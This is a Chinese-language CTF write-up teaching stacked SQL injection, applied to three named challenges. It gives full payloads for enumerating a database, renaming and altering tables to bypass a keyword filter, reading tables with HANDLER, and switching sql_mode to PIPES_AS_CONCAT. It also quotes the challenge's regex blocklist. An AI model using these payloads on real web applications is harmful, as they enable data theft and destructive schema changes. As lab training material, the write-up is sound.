sql堆叠注入
主要使用一下三条命令
show databases; 获取数据库名
show tables; 获取表名
show columns from `table_name`; 获取列名(反引号)
通过上面三条命令,大致可以知道数据库的总体,查看数据库内容可以使用一下几种方法
1.使用remane
过滤条件
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
未过滤remane和alter关键字
可以将存在flag的表替换成目前可以显示的表
1';
rename tables `words` to `words1`; 将words表改名为words1
rename tables `tablename` to `words`; 将需要显示的tablename表改名为worlds
alter table `words` change `flag` `id` varchar(100);# 将flag字段改为id
2.使用
3.使用handler
用HANDLER查看flag
1';
handler tablename open;
handler tablename read first;
handler tablename close;#
Exp1. [强网杯 2019]随便注
漏洞注入点:
http://111.198.29.45:40827/?inject=1
当我们构造
?inject=1'
出现
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
很可能存在sql注入了
当我们在构造:
http://111.198.29.45:40827/?inject=1'union select 1,2#
出现
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
当发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入
利用堆叠注入,查询所有数据库:
1';show databases;#
查询所有表:
1';show tables;#
查询1919810931114514表中所有列:
1';show columns from `1919810931114514`;# (字符串为表名操作时要加反引号)
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
Exp2. BUUCTF [SUCTF 2019]EasySQL
打开界面
试了一下有三种显示
还有一个没有输出
Nonono
可以堆叠注入
1;show databases;
1;show tables;
可以看到有一个Flag表
测试发现from flag都被过滤不能直接读到flag
想了很久想不到 看别人wp了~
看见听说比赛的时候原理泄漏了的
select $_GET['query'] || flag from flag
是这样 md 谁想的到啊 别欺负我们菜鸡好不好
不过由于没有过滤 * 出现了一个意外解
*,1
预期解
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
1;set sql_mode=PIPES_AS_CONCAT;select 1
结果一样的 就不截图了
Exp3. [GYCTF2020]Blacklist
show databases;
show tables;
show columns from `table_name`;
本题使用HANDLER查看flag
1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;#